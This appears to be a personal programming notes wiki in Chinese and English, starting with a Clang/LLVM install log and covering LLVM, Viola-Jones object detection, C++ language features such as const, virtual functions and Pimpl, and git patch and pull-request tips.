-- Installing: /usr/local/lib/clang/3.8.0/include/rdseedintrin.h
-- Installing: /usr/local/lib/clang/3.8.0/include/rtmintrin.h
-- Installing: /usr/local/lib/clang/3.8.0/include/s390intrin.h
-- Installing: /usr/local/lib/clang/3.8.0/include/shaintrin.h
-- Installing: /usr/local/lib/clang/3.8.0/include/smmintrin.h
-- Installing: /usr/local/lib/clang/3.8.0/include/stdalign.h
-- Installing: /usr/local/lib/clang/3.8.0/include/stdarg.h
-- Installing: /usr/local/lib/clang/3.8.0/include/stdatomic.h
-- Installing: /usr/local/lib/clang/3.8.0/include/stdbool.h
-- Installing: /usr/local/lib/clang/3.8.0/include/stddef.h
-- Installing: /usr/local/lib/clang/3.8.0/include/__stddef_max_align_t.h
-- Installing: /usr/local/lib/clang/3.8.0/include/stdint.h
-- Installing: /usr/local/lib/clang/3.8.0/include/stdnoreturn.h
-- Installing: /usr/local/lib/clang/3.8.0/include/tbmintrin.h
-- Installing: /usr/local/lib/clang/3.8.0/include/tgmath.h
-- Installing: /usr/local/lib/clang/3.8.0/include/tmmintrin.h
-- Installing: /usr/local/lib/clang/3.8.0/include/unwind.h
-- Installing: /usr/local/lib/clang/3.8.0/include/vadefs.h
-- Installing: /usr/local/lib/clang/3.8.0/include/varargs.h
-- Installing: /usr/local/lib/clang/3.8.0/include/vecintrin.h
-- Installing: /usr/local/lib/clang/3.8.0/include/__wmmintrin_aes.h
-- Installing: /usr/local/lib/clang/3.8.0/include/wmmintrin.h
-- Installing: /usr/local/lib/clang/3.8.0/include/__wmmintrin_pclmul.h
-- Installing: /usr/local/lib/clang/3.8.0/include/x86intrin.h
-- Installing: /usr/local/lib/clang/3.8.0/include/xmmintrin.h
-- Installing: /usr/local/lib/clang/3.8.0/include/xopintrin.h
-- Installing: /usr/local/lib/clang/3.8.0/include/xtestintrin.h
-- Installing: /usr/local/lib/clang/3.8.0/include/arm_neon.h
-- Installing: /usr/local/lib/libclangBasic.a
-- Installing: /usr/local/lib/libclangLex.a
-- Installing: /usr/local/lib/libclangParse.a
-- Installing: /usr/local/lib/libclangAST.a
-- Installing: /usr/local/lib/libclangASTMatchers.a
-- Installing: /usr/local/lib/libclangDynamicASTMatchers.a
-- Installing: /usr/local/lib/libclangSema.a
-- Installing: /usr/local/lib/libclangCodeGen.a
-- Installing: /usr/local/lib/libclangAnalysis.a
-- Installing: /usr/local/lib/libclangEdit.a
-- Installing: /usr/local/lib/libclangRewrite.a
-- Installing: /usr/local/lib/libclangARCMigrate.a
-- Installing: /usr/local/lib/libclangDriver.a
-- Installing: /usr/local/lib/libclangSerialization.a
-- Installing: /usr/local/lib/libclangFrontend.a
-- Installing: /usr/local/lib/libclangRewriteFrontend.a
-- Installing: /usr/local/lib/libclangFrontendTool.a
-- Installing: /usr/local/lib/libclangTooling.a
-- Installing: /usr/local/lib/libclangToolingCore.a
-- Installing: /usr/local/lib/libclangIndex.a
-- Installing: /usr/local/lib/libclangStaticAnalyzerCore.a
-- Installing: /usr/local/lib/libclangStaticAnalyzerCheckers.a
-- Installing: /usr/local/lib/libclangStaticAnalyzerFrontend.a
-- Installing: /usr/local/lib/libclangFormat.a
-- Installing: /usr/local/bin/clang-3.8
-- Installing: /usr/local/bin/clang
-- Installing: /usr/local/bin/clang-format
-- Installing: /usr/local/share/clang/clang-format-bbedit.applescript
-- Installing: /usr/local/share/clang/clang-format-diff.py
-- Installing: /usr/local/share/clang/clang-format-sublime.py
-- Installing: /usr/local/share/clang/clang-format.el
-- Installing: /usr/local/share/clang/clang-format.py
-- Installing: /usr/local/bin/git-clang-format
-- Installing: /usr/local/lib/libclang.so.3.8
-- Installing: /usr/local/lib/libclang.so
-- Installing: /usr/local/bin/clang-check
-- Installing: /usr/local/bin/llvm-dis
-- Installing: /usr/local/bin/opt
-- Installing: /usr/local/bin/llvm-mcmarkup
-- Installing: /usr/local/bin/macho-dump
-- Installing: /usr/local/bin/llvm-cov
-- Installing: /usr/local/bin/llvm-lto
-- Installing: /usr/local/bin/llvm-stress
-- Installing: /usr/local/bin/bugpoint
-- Installing: /usr/local/bin/llvm-mc
-- Installing: /usr/local/bin/lli
-- Installing: /usr/local/bin/llvm-size
-- Installing: /usr/local/bin/llvm-readobj
-- Installing: /usr/local/bin/llvm-bcanalyzer
-- Installing: /usr/local/bin/llvm-dwarfdump
-- Installing: /usr/local/bin/llvm-config
-- Installing: /usr/local/bin/llvm-pdbdump
-- Installing: /usr/local/lib/BugpointPasses.so
-- Installing: /usr/local/bin/llvm-diff
-- Installing: /usr/local/bin/llc
-- Installing: /usr/local/bin/llvm-cxxdump
-- Installing: /usr/local/bin/llvm-profdata
-- Installing: /usr/local/bin/verify-uselistorder
-- Installing: /usr/local/bin/llvm-objdump
-- Installing: /usr/local/bin/llvm-symbolizer
-- Installing: /usr/local/bin/llvm-extract
-- Installing: /usr/local/bin/llvm-nm
-- Installing: /usr/local/bin/llvm-split
-- Installing: /usr/local/bin/llvm-dsymutil
-- Installing: /usr/local/bin/yaml2obj
-- Installing: /usr/local/bin/llvm-c-test
-- Installing: /usr/local/bin/llvm-as
-- Installing: /usr/local/bin/llvm-link
-- Installing: /usr/local/bin/obj2yaml
-- Installing: /usr/local/bin/llvm-ar
-- Installing: /usr/local/bin/llvm-rtdyld
-- Installing: /usr/local/share/llvm/cmake/LLVMExports.cmake
-- Installing: /usr/local/share/llvm/cmake/LLVMExports-noconfig.cmake
-- Installing: /usr/local/share/llvm/cmake/LLVMConfig.cmake
-- Installing: /usr/local/share/llvm/cmake/LLVMConfigVersion.cmake
-- Installing: /usr/local/share/llvm/cmake/LLVM-Config.cmake
-- Installing: /usr/local/share/llvm/cmake/.
-- Installing: /usr/local/share/llvm/cmake/./GetSVN.cmake
-- Installing: /usr/local/share/llvm/cmake/./AddSphinxTarget.cmake
-- Installing: /usr/local/share/llvm/cmake/./AddOCaml.cmake
-- Installing: /usr/local/share/llvm/cmake/./HandleLLVMStdlib.cmake
-- Installing: /usr/local/share/llvm/cmake/./FindOCaml.cmake
-- Installing: /usr/local/share/llvm/cmake/./AddLLVMDefinitions.cmake
-- Installing: /usr/local/share/llvm/cmake/./FindSphinx.cmake
-- Installing: /usr/local/share/llvm/cmake/./LLVMProcessSources.cmake
-- Installing: /usr/local/share/llvm/cmake/./AddLLVM.cmake
-- Installing: /usr/local/share/llvm/cmake/./ChooseMSVCCRT.cmake
-- Installing: /usr/local/share/llvm/cmake/./CrossCompile.cmake
-- Installing: /usr/local/share/llvm/cmake/./HandleLLVMOptions.cmake
-- Installing: /usr/local/share/llvm/cmake/./TableGen.cmake

Cross Compile¶

How To Cross-Compile Clang/LLVM using Clang/LLVM

Environment¶

LIBRARY_PATH
- used by gcc before compilation to search for directories containing libraries that need to be linked to your program.
LD_LIBRARY_PATH
- used by your program to search for directories containing the libraries after it has been successfully compiled and linked.

LLVM ¶

Table of Contents

LLVM
- Introduction
- Get Your LLVM
- DragonEgg Plugin
- Polly
- LLVM Linker
- Register Allocation
- llc
- Garbage Collection
- LLVM Pass
- Misc
- Idea
- Reference
  - LLVM
  - Ninja

(LLVM 用 reStructuredText 跟 Sphinx 在寫 Documentation)

Introduction ¶

LLVM 是 Chris Lattner 於 2000 年在 UIUC 展開、發表於 2004 年的碩士論文專案，原名為「Low Level Virtual Machine」，當中使用到的概念取自於 2003 年發表的論文「 LLVA: A Low-level Virtual Instruction Set Architecture 」，於 2004 年發表 LLVM 論文「 LLVM: A Compilation Framework for Lifelong Program Analysis & Transformation 」，後來由於發展不限於 Virtual Machine，使用原名會造成誤解，所以名稱改為 LLVM 。

LLVM 使用 University of Illinois/NCSA Open Source License 條款釋出，使用 SVN 作為主要開發的版本工具，每次新 release 即升一個小版號，直到小版號超過九，就升一次大版號。

Get Your LLVM ¶

Release Prebuilt ¶

LLVM Snapshot Builds ¶

Autotools ¶

CMake & Ninja ¶

DragonEgg Plugin ¶

DragonEgg - Using LLVM as a GCC backend

Polly ¶

polyhedral optimizer

LLVM Linker ¶

lld

Register Allocation ¶

llc ¶

$ llc --version
LLVM (http://llvm.org/):
LLVM version 3.5.2
Optimized build.
Built Apr 23 2015 (08:23:12).
Default target: x86_64-unknown-linux-gnu
Host CPU: core-avx-i

Registered Targets:
    aarch64    - AArch64 (little endian)
    aarch64_be - AArch64 (big endian)
    arm        - ARM
    arm64      - AArch64 (little endian)
    arm64_be   - AArch64 (big endian)
    armeb      - ARM (big endian)
    cpp        - C++ backend
    hexagon    - Hexagon
    mips       - Mips
    mips64     - Mips64 [experimental]
    mips64el   - Mips64el [experimental]
    mipsel     - Mipsel
    msp430     - MSP430 [experimental]
    nvptx      - NVIDIA PTX 32-bit
    nvptx64    - NVIDIA PTX 64-bit
    ppc32      - PowerPC 32
    ppc64      - PowerPC 64
    ppc64le    - PowerPC 64 LE
    r600       - AMD GPUs HD2XXX-HD6XXX
    sparc      - Sparc
    sparcv9    - Sparc V9
    systemz    - SystemZ
    thumb      - Thumb
    thumbeb    - Thumb (big endian)
    x86        - 32-bit X86: Pentium-Pro and above
    x86-64     - 64-bit X86: EM64T and AMD64
    xcore      - XCore

Garbage Collection ¶

LLVM Pass ¶

Misc ¶

Idea ¶

LLVM For Writing Database
- database framework ?
- SQL with JIT support ?
- [2013] Building a Modern Database Using LLVM
- Impala - Real-time Query for Hadoop
- SQLite with LLVM JIT ?
- http://sqlite.org/src/doc/trunk/README.md
- mirror : http://repo.or.cz/sqlite.git
LLVM for Concurrency
- https://github.com/concurrencykit/ck
LLVM for lock-free
Code Gen
- Type-safe Runtime Code Generation: Accelerate to LLVM
GCC
- 編譯 GCC - 交叉編譯器 cross compiler
- http://stackoverflow.com/questions/29453962/completely-standalone-clang-on-linux
libunwind in compiler-rt
- http://thread.gmane.org/gmane.comp.compilers.llvm.devel/78099
- https://git.linaro.org/people/renato.golin/compiler-rt.git
code suggestion

Reference ¶

LLVM ¶

Wikipedia - LLVM
[Book] Getting Started with LLVM Core Libraries
AOSA - LLVM
LLVM: Implementing a Language

Ninja ¶

Android With LLVM¶

[2014] Here be dragons: Using clang/LLVM to build Android
- You can build a single project within Android by setting LOCAL_CLANG=true in Android.mk
- You can use clang globally by setting LOCAL_CLANG=true in build/core/clear_vars.mk

Obfuscator¶

Obfuscator-LLVM
- 針對 LLVM IR 做混淆
- FAQ

Optimizations¶

LTO (Link Time Optimization)¶

PGO (Profile-Guided Optimizations)¶

Dr.Dobb’s - Profile-Guided Optimizations
Wikipedia - Profile-guided optimization
GCC
- -fprofile-generate
- -fprofile-use

IPO (Interprocedural Optimization)¶

Wikipedia - Interprocedural optimization

SIFT¶

[待補]

Object Detection¶

Viola–Jones object detection framework¶

(直接把我電腦視覺期末 Project 寫的紀錄放進來 :P)

Viola–Jones object detection framework is a real-time object detection framework proposed in 2001 by Paul Viola and Michael Jones.

There are 4 primary steps :

Haar Features Selection
Creating Integral Image
Adaboost Training algorithm
Cascaded Classifiers

Haar Features Selection¶

Haar features consider adjacent rectangular regions at a specific location in a detection window, sums up the pixel intensities in each region and calculates the difference between these sums.

The advantage of using Haar features is the fast calculation speed.

A Haar feature is a rectangular region in the integral image, so you will need to know the position of the starting and ending point.

like this :

+-----------------+         +-----------------+
|                 |         |       +-------+ |
|  +---+---+      |         |       |///////| |
|  |...|///|      |         |       +-------+ |
|  |...|///|      |         |       |.......| |
|  |...|///|      |         |       +-------+ |
|  |...|///|      |         |      B          |
|  +---+---+      |         |                 |
|           A     |         |                 |
+-----------------+         +-----------------+



+-----------------+         +-----------------+
|                 |         |      +---+---+  |
|                 |         |      |///|...|  |
|                 |         |      |///|...|  |
| C               |         |      +---+---+  |
|  +---+---+---+  |         |      |...|///|  |
|  |...|///|...|  |         |      |...|///|  |
|  |...|///|...|  |         |      +---+---+  |
|  +---+---+---+  |         |     D           |
+-----------------+         +-----------------+

for A we need to know 6 points’ integral value
for B we need to know 6 points’ integral value
for C we need to know 8 points’ integral value
for D we need to know 9 points’ integral value

By this method, we can get characteristic difference values (specific regions’ value) by simple calculation.

We can use these kind of features to indicate what does the object looks like.

For example, we can calculate the sum of "." area minus the sum of "/" area, then we will get a single value. Now we can compare the single value with the threshold. If it pass the threshold, we vote it (we guess that’s what we want).

Each subframe is 24x24 pixels, so possible features are 162336.

Here is a example for calculate features (example subframe is 4x4) :

features type : 2x1, 1x2, 3x1, 1x3, 2x2

2x1 shapes:
        size: 2x1 => count: 12
        size: 2x2 => count: 9
        size: 2x3 => count: 6
        size: 2x4 => count: 3
        size: 4x1 => count: 4
        size: 4x2 => count: 3
        size: 4x3 => count: 2
        size: 4x4 => count: 1
1x2 shapes:
        size: 1x2 => count: 12             +-----------------------+
        size: 1x4 => count: 4              |     |     |     |     |
        size: 2x2 => count: 9              |     |     |     |     |
        size: 2x4 => count: 3              +-----+-----+-----+-----+
        size: 3x2 => count: 6              |     |     |     |     |
        size: 3x4 => count: 2              |     |     |     |     |
        size: 4x2 => count: 3              +-----+-----+-----+-----+
        size: 4x4 => count: 1              |     |     |     |     |
3x1 shapes:                                |     |     |     |     |
        size: 3x1 => count: 8              +-----+-----+-----+-----+
        size: 3x2 => count: 6              |     |     |     |     |
        size: 3x3 => count: 4              |     |     |     |     |
        size: 3x4 => count: 2              +-----------------------+
1x3 shapes:
        size: 1x3 => count: 8                  Total Count = 136
        size: 2x3 => count: 6
        size: 3x3 => count: 4
        size: 4x3 => count: 2
2x2 shapes:
        size: 2x2 => count: 9
        size: 2x4 => count: 3
        size: 4x2 => count: 3
        size: 4x4 => count: 1

Creating Integral Image¶

In integral image, each pixel is the sum of all pixels in the original image which are left and above.

like this :

Original        Integral

1, 2, 3         0,  0,  0,  0
4, 5, 6         0,  1,  3,  6
7, 8, 9         0,  5, 12, 21
                0, 12, 27, 45

calculation :

Original        Integral

1, 2, 3         0,  0,  0,  0
4, 5, 6         0,   ,   ,
7, 8, 9         0,   ,   ,
                0,   ,   ,

Original        Integral

( 1 ), 2, 3         0, ( 0 ),  0,  0
    4, 5, 6     ( 0 ), [ 1 ],   ,
    7, 8, 9         0,      ,   ,
                    0,      ,   ,

        calculation : 0 + 0 + 1 = 1

Original        Integral

1, ( 2 ), 3     0,   0  , ( 0 ),  0
4,     5, 6     0, ( 1 ), [ 3 ],
7,     8, 9     0,      ,      ,
                0,      ,      ,

        calculation : 0 + 1 + 2 = 3

Original        Integral

1, 2, ( 3 )     0, 0,     0, ( 0 )
4, 5,     6     0, 1, ( 3 ), [ 6 ]
7, 8,     9     0,  ,      ,
                0,  ,      ,

        calculation : 0 + 3 + 3 = 6

Original        Integral

    1, 2, 3         0,     0, 0, 0
( 4 ), 5, 6         0, ( 1 ), 3, 6
    7, 8, 9     ( 0 ), [ 5 ], ,
                    0,      , ,

        calculation : 1 + 0 + 4 = 5

...

Original        Integral

1, 2, 3         0,  0,  0,  0
4, 5, 6         0,  1,  3,  6
7, 8, 9         0,  5, 12, 21
                0, 12, 27, 45

Adaboost Training algorithm¶

AdaBoost was introduced in 1995 by Freund and Schapire, it’s a machine learning algorithm which can collaborate with many other types of learning algorithms to improve their performance.

The concept is to combine some weak classifier into a weighted sum to make a strong classifier.

AdaBoost use weighted majority vote (or sum) to produce the final prediction.

Assume we have N training images (positive and negative), we lable them with 1 or -1 (1, if the image is what we want, otherwise -1).

We iterate through the features (16K) to find out best N Haar features, then we start training with these N features. We give a weighting variable to every features (N features) to tune the result. Now we start voting. By changing the weighting variable, we can minimize the error of the voting result.

Finally, we get a better result. Now we can output the model to an xml for using next time.

Cascaded Classifiers¶

1st layer, A simple 2-feature classifier can achieve almost 100% detection rate with 50% false positive rate.
- if it’s what we want, it will pass (almost 100% detection rate)
- if it’s not what we want, it will have 50% probability to pass
- this can fast filter the data
2nd layer, 10 features, less false positive rate P%
- if it’s what we want, it will pass (almost 100% detection rate)
- if it’s not what we want, it will have P% probability to pass
- now the overall false positive rate is (50% * P%)
3rd layer, X features, less false positive rate Q%
- if it’s what we want, it will pass (almost 100% detection rate)
- if it’s not what we want, it will have Q% probability to pass
- now the overall false positive rate is (50% * P% * Q%)

+-----------+       +---------+       +---------+       +---------+           +---------+       +------+
|           |       |         |       |         |       |         |           |         |       |      |
| sub image | ----> | stage 1 | ----> | stage 2 | ----> | stage 3 | ... ----> | stage n | --->  | Pass |
|           |       |         |       |         |       |         |           |         |       |      |
+-----------+       +---------+       +---------+       +---------+           +---------+       +------+
                        |                  |                 |                     |
                        |                  |                 |                     |
                        v                  v                 v                     v
        +----------------------------------------------------------------------------------+
        |                                                                                  |
        |                                      Reject                                      |
        |                                                                                  |
        +----------------------------------------------------------------------------------+

Reference¶

Panorama (Image Stitching)¶

[待補]

64 Bits Problem¶

C++ Bit Field¶

Reference¶

C++ Reference - Bit field <http://en.cppreference.com/w/cpp/language/bit_field>-
C++ Reference - bitset <http://en.cppreference.com/w/cpp/utility/bitset>-
Wikipedia - Bit field
C Bitfields and HW Registers
When to use bit-fields in C?

C++17¶

Wikipedia - C++17

C++ const¶

const qualifiers 在 C 和 C++ 裡面都很常見，但是觀念不清楚的話就不能好好利用，以下做些觀念紀錄。

加上 const 關鍵字可以確保不該被改到的變數不被更動，如果不小心寫錯更動到的話，會在編譯時噴出錯誤。

該加 const 的儘量加
愈早加愈好

const in declaration¶

由右至左解釋變數宣告：

const X p       // p is an X that is const
X const p       // p is a const X

const X * p     // p points to an X that is const
X const * p     // p points to a const X

X * const p     // p is a const pointer to an X

X const * const p     // p is a const pointer to a const X
const X * const p     // p is a const pointer to an X that is const

const X& p      // p is a reference to an X that is const
X const& p      // p is a reference to a const X

const in function parameters¶

void f1(const std::string& s);     // Pass by reference-to-const
void f2(const std::string* sptr);  // Pass by pointer-to-const
void f3(std::string s);            // Pass by value

const member function¶

const member function 又稱為 inspectors，不會更動 object 裡的東西，也就是對於這個 object 沒有副作用：

class MyClass {
public:
    void inspect() const;   // This member promises NOT to change *this
    void mutate();          // This member function might change *this
};

如果想要從 const member function 裡用 reference 的方式回傳 this object 裡的 member 的話，必須使用 reference-to-const 或是 by value：

class MyClass {
public:

    // inspect member function will return ``this`` object's member

    const std::string& inspect_pass_1() const;    // Pass, the caller can't change the object
          std::string& inspect_fail_1() const;    // Compile-time error, the caller can change the object
    const std::string  inspect_pass_2() const;    // Pass, the caller can't change the object
          std::string  inspect_pass_2() const;    // Pass, the caller can't change the object

    const std::string& inspect_pass_3();          // Pass
          std::string& inspect_pass_4();          // Pass
    const std::string  inspect_pass_5();          // Pass
          std::string  inspect_pass_5();          // Pass
};

如果有 member 在 const member function 是會更動的，但是仍然要把它視為 const member function，則須把該 member 宣告為 mutable。

class MyClass {
public:

    void inspect() const { ++count; }

    mutable unsigned int count = 0;

};

const overloading¶

const-overloading 指的是有兩個名稱相同的 member function，差別只在 const，所以 const 和 non-const 的 object 會呼叫到不同函數，形成 overloading。

class MyClass {
public:

    // Subscript operators often come in pairs

    const MyClass& operator[] (unsigned index) const;
          MyClass& operator[] (unsigned index);
};

Reference¶

C++ FAQ - Const Correctness

C++ Coroutine¶

Expression Templates¶

Wikipedia - Expression templates

C++ Misc¶

C++ 繼承¶

class 定義
- public : 大家都可看
- protected : 只有子孫能看
- private : 只有自己能看
class 繼承
- public : 大家都知道父母和小孩的關係
- protected : 只有子孫知道自己與祖先的關係
- private : 只有自己知道跟父母的關係

基本上的 priority 就是 private > protected > public 所以在繼承的時候 priority 大的會掩蓋 priorty 小的

class A
{
public:
    int x;
protected:
    int y;
private:
    int z;
};

class B : public A
{
    // x is public
    // y is protected
    // z is not accessible from B
};

class C : protected A
{
    // x is protected
    // y is protected
    // z is not accessible from C
};

class D : private A
{
    // x is private
    // y is private
    // z is not accessible from D
};

Virutal Function¶

C++ 裡提供了一個 keyword 叫 virtual ，使用 virtual 關鍵字的 method 會是 Late binding (dynamic binding)，在 runtime 的時候才會決定要 call 的 function 位址

例如 :

#include <iostream>

class A
{
public:
    void func1()
    {
        std::cout << "func1 in A" << std::endl;
    }

    virtual void func2()
    {
        std::cout << "func2 in A" << std::endl;
    }
};

class B : public A
{
public:
    void func1()
    {
        std::cout << "func1 in B" << std::endl;
    }

    void func2()
    {
        std::cout << "func2 in B" << std::endl;
    }
};

int main(int argc, char *argv[]) {

    A a = A();
    B b = B();

    a.func1();  // func1 in A
    a.func2();  // func2 in A
    b.func1();  // func1 in B
    b.func2();  // func2 in B

    A &c = b;
    c.func1();  // func1 in A
    c.func2();  // func2 in B

    A *ptr = nullptr;

    ptr = &a;
    ptr->func1();  // func1 in A
    ptr->func2();  // func2 in A

    ptr = &b;
    ptr->func1();  // func1 in A
    ptr->func2();  // func2 in B

    return 0;
}

這邊可以看到，把 class B 的變數用 class A 去解讀的時候，func1 是呼叫到 class A 所定義的，而 func2 是呼叫到 class B 所定義的，會有這樣的差別是因為 func1 沒有用 virtual ，但是 func2 有用 virtual ， base class 有寫 virtual 的 function 在被 call 到時會去 virtual table 裡面找真正要 call 的 function 的位址，也才能有 late binding 的效果，沒有寫 virtual 的 function 依然會是 early binding (static binding)。

在 static binding 的情況下，ptr 要 call 的 function 的位址在 compile time 就決定了，所以 func1 一直都會 call 到 class A 的版本。而在 late binding 的情況下，要 call 的 function 的位址在 runtime 決定，會從 virtual table 中找到對應的 function 的位址，所以可以 call 到各自的版本。

C++11 - override & final¶

override¶

override 是提供給繼承的 class 用的，目的是確保 function 有 override 到 base class 的 virtual funcion，標上 override 後，compiler 可以在 compile time 的時候檢查是否真的有 override，可以避免不小心沒寫好造成該 override 的 function 沒有 override 到。

class A
{
public:
    virtual void foo();
    void bar();
};

class B : A
{
public:
    void foo() const override;  // Error: B::foo does not override A::foo
                                // (signature mismatch)
    void foo() override;        // OK: B::foo overrides A::foo
    void bar() override;        // Error: A::bar is not virtual
};

final¶

final 是提供給 class 或 base class 的 virtual function 使用的，標上 final 的 class 不能再被繼承，標上 final 的 virutal function 不能再被 override。

class A
{
public:
    virtual void foo() final;   // A::foo is final
    void bar() final;           // Error: non-virtual function cannot be final
};

class B final : A   // struct B is final
{
public:
    void foo();     // Error: foo cannot be overridden as it's final in A
};

class C : B         // Error: B is final
{
};

C++ Optimizations¶

C++ Optimization Strategies and Techniques

Pimpl¶

“Pimpl” == “pointer to implementation” == “Compilation Firewalls” == “Cheshire Cat”

Pimpl 是一個隱藏實作的技術，用於 C++ 或其他類似的 statically compiled languages。做法是把實作的東西包成一個 class，在 header 檔只宣告這個 class，而 class 內部有什麼則是另外再實作，所以 header 檔裡面看到的會是對外的一些 interface 以及只有宣告的實作細節。

範例 code :

// widget.hpp

#include <memory>

class widget {

public:

    widget();
    ~widget();

private:

    class impl;
    std::unique_ptr<impl> pimpl;

};

////////////////////////////////////////

// widget.cpp

#include "widget.hpp"

class widget::impl {
    // implementation
};

widget::widget() : pimpl{ std::make_unique<impl>() } { }
widget::~widget() = default;

優點：

更改實作時，用到這實作的 code 不用重新編譯

缺點：

實作者需要多做一些事
因為是間接的處理，所以執行期間的效能會稍稍的下降，尤其是 function calls 是 virtual 時，branch prediction 對於 indirect branches 通常效能會比較差
code 可能比較難讀，因為一些資訊不在 header 檔裡面

要點：

Pimpl object 應該要不能 shared，所以使用 unique_ptr (也比 shared_ptr 有效率)
在自己的實作裡面使用 Pimpl object，這樣可以把實作細節藏起來
在 out-of-line constructor 建立 Pimpl object
在自己實作裡仍需要寫 destructor，如此一來才會讓 compiler 在已經定義完實作 class 的地方建立 destructor，而不是讓 compiler 在原本的 header 檔那裡嘗試用不完整的型別建立 destructor
如果需要 copy & move assignment 的話，也需要在實作檔案裡寫上
Pimpl 這種型別是非常 move-friendly 的，因為只需要 copy 一個 pointer 值
根據設計上來說，private 和 nonvirtual members 為 implementation details，只有這塊需要被 Pimpl 藏起來

Reference¶

C++ Resource¶

About size_t and ptrdiff_t¶

About size_t and ptrdiff_t
- size_t 和 ptrdiff_t 比較安全、portable
- 對於 64 bits 的平台甚至可能有 10% 的效能提升
- 全面套用不適合
- 重構需要努力

C++ STL¶

<algorithm>¶

rotate¶

C++ Reference - rotate

把 container 內的兩區塊做 swap

Temporary Objects¶

GotW #2 Solution: Temporary Objects

C++ Thread¶

pthread¶

<thread>¶

openmp¶

Todo¶

一堆待完成的紀錄，因為還沒有時間整理，先堆著 ...

(還有順便補上以前小黃的講義內容)

A Tutorial Introduction to C++11/14
- https://www.youtube.com/watch?v=TK_SfTfxaxc

C++ Asynchronous¶

Perfect Forwarding¶

why forward<Args...> instead of forward<Args&&...> ?
Perfect forwarding and universal references in C++

Variadic Template¶

Wikipedia - Variadic Template

<future>¶

Multithreading¶

C++ 的多執行序程式開發 Thread：基本使用
how to write a thread pool by myself ?
Actually, std::async most often does use a threadpool. But it isn’t required to.
A C++ Thread Pool Implementation Using POSIX Threads

Preprocessor¶

Under the Hood: warp, a fast C and C++ preprocessor

<chrono>¶

Sleep for milliseconds
#include <unistd.h> // usleep

C++14¶

A look at C++14: Papers Part I

constexpr¶

Exam¶

C++ Videos¶

[2014] Scott Meyers: Support for Embedded Programming in C++11 and C++14
- auto
- constexpr
[2014/06] Scott Meyers: Why C++ Sails When the Vasa Sank
- 講述 C++ 這一路走來，讓它持續有許多使用者的重要特色，以及近年來如何變得更好
- 讓舊有的程式碼依然可以編譯，加入新 feature 讓同樣的 code 可以更簡單易懂
  
  20 年前的程式依然可以 compile
- You don’t pay for what you don’t use.
  
  編譯時期把不必要的東西去掉 (pay at compile time, not runtime)
- C : Trust the programmer
- 和 C 有一定的相似度，所以 C programmer 的一些知識在這邊也同樣用的上
- C++ 有良好的效能，也適用於只能用較少的硬體和能源但同時也需要效能的情況 (embedded)
[2012/06] Scott Meyers: Adventures in Perfect Forwarding
- Part1
- Part2
- PDF
- 這場在 Facebook 的 talk 畫質比較差 ...，錄音還有問題 Orz
- perfect forwarding 可以避免 temporary object 的產生
- std::forward
- type traits : std::remove_reference, std::enable_if
- std::make_shared
- moving is not free, it’s typically cheap, but it’s not always cheap, and it more expensive then binding to a reference
- perfect forwarding is not perfect, but it’s really really good
- something can’t perfect forwarding
  
  0 as null pointer constant
  
  Braced initializer lists
  
  Integral const static class members lacking a definiton
  
  Template names (e.g., std::endl)
  
  Non-const lvalue bitfields
[2013/09] C++ Seasoning
- PDF
- Sean Parent - Papers and Presentations
- no raw loops
- no raw synchronization primitives
- no raw pointers
- use STL or general function in libraries when available
- <algorithm>
  
  rotate
  
  stable_partition
  
  lower_bound
- keep the body short
- Amdahl’s law
- <future>
  
  packaged_task
- make_shared

Git Cheat Sheet¶

NDP Software - Git Cheatsheet

Git Format Patch¶

Intrudoction¶

把 git commit 變成一個一個的 patch，並且會利用 commit message 來命名

Usage¶

打 patch¶

git am PATCH

ex :

$ git am 0001-shell.c-A-full-RBuffer-with-no-NL-can-freeze-shell-o.patch
Applying: shell.c: A full RBuffer with no NL can freeze shell output. #3156

指定某個 commit 後的 N 個 commit¶

git format-patch -N <SHA>

ex :

$ git format-patch -10 41e9ebc

把 N 個 format-patch 和在一起¶

ex :

$ git format-patch -10 HEAD --stdout > 0001-last-10-commits.patch

Reference¶

Git - git-format-patch

Git Tips¶

Checkout GitHub pull requests locally¶

只針對單一 repo¶

假設先前跑過以下 command :

$ git add remote add github git://github.com/USERNAME/REPO.git

那 repo 裡的 .git/config 會包含這些資訊：

[remote "origin"]
    fetch = +refs/heads/*:refs/remotes/origin/*
    url = git@github.com:USERNAME/REPO.git

接下來只要加上一行變成：

[remote "origin"]
    fetch = +refs/heads/*:refs/remotes/origin/*
    url = git@github.com:USERNAME/REPO.git
    fetch = +refs/pull/*/head:refs/remotes/origin/pr/*

加完後只要下 fetch 就可以取回 GitHub 上的 PRs

$ git fetch github
From git://github.com/USERNAME/REPO
- [new ref]         refs/pull/1/head -> origin/pr/1
- [new ref]         refs/pull/2/head -> origin/pr/2
...

切到 PR：

$ git checkout pr/1
Branch pr/1 set up to track remote branch pr/1 from github.
Switched to a new branch 'pr/1'

global 設定¶

$ git config --global --add remote.origin.fetch "+refs/pull/*/head:refs/remotes/origin/pr/*"

只抓特定 PR¶

$ git fetch github pull/1/head:pr/1
From git://github.com/USERNAME/REPO
- [new ref]         refs/pull/1/head -> pr/1
$ git checkout pr/1

Go¶

官方的 Go compiler 用了很多 escape analysis，所以有些 heap allocation 會被轉而長在 stack 上。

Go 的 GC 在 1.5 後又會修正 latency 的問題，之後研究裡面做的事：

Reference¶

Hardware & Programming¶

Scott Meyers 在 2014 年 NDC Conference 分享了 CPU 的重要性，整場下來給予聽眾一個觀念「只要沒有充份利用 CPU Cache，效能就會有極大的損失。」。當中並舉出微軟當初發現 Windows CE 在處理封包時，和 Linux 比起來多出了非常多的 cache miss，造成效能低落的實際案例。最後則說明在撰寫 multithread 程式時，可能在不注意下產生 False Sharing，造成 CPU 需要不斷更新 cache，導致效能再度低落 ..

(片長 1 小時，Scott Meyers 演講的很好，不會想睡覺 :D)

keyword: data cache, instruction cache, TLB, cache coherency, false sharing

Scott Meyers - CPU Caches and Why You care
- Eliminate False Sharing
- Dr.Dobb’s - Eliminate False Sharing

Hardware’s History¶

What’s New in CPUs Since the 80s and How Does It Affect Programmers?

Hardware¶

Laptop¶

Acer Aspire V3-571G (2012-08 ~ )¶

Intel i5-3210M 2.5GHz
NVIDIA GeForce GT 630M, 2GB VRAM
15.6” HD LED LCD
2 GB DDR3 (upgrade to 6 GB)
500 GB HDD

Mobile¶

Sony Xperia S (2012-08 ~ )¶

4.3” touchscreen (1280 x 720 pixels)
1.5 GHz Qualcomm Dual Core processor (Snapdragon S3 MSM8260) (ARMv7)
1 GB RAM
32 GB eMMC Flash memory

Memory¶

Reference¶

Memory Management Reference

Memory Allocator - Under The Hood ¶

Table of Contents

Memory Allocator - Under The Hood

Memory Allocator in Different OS ¶

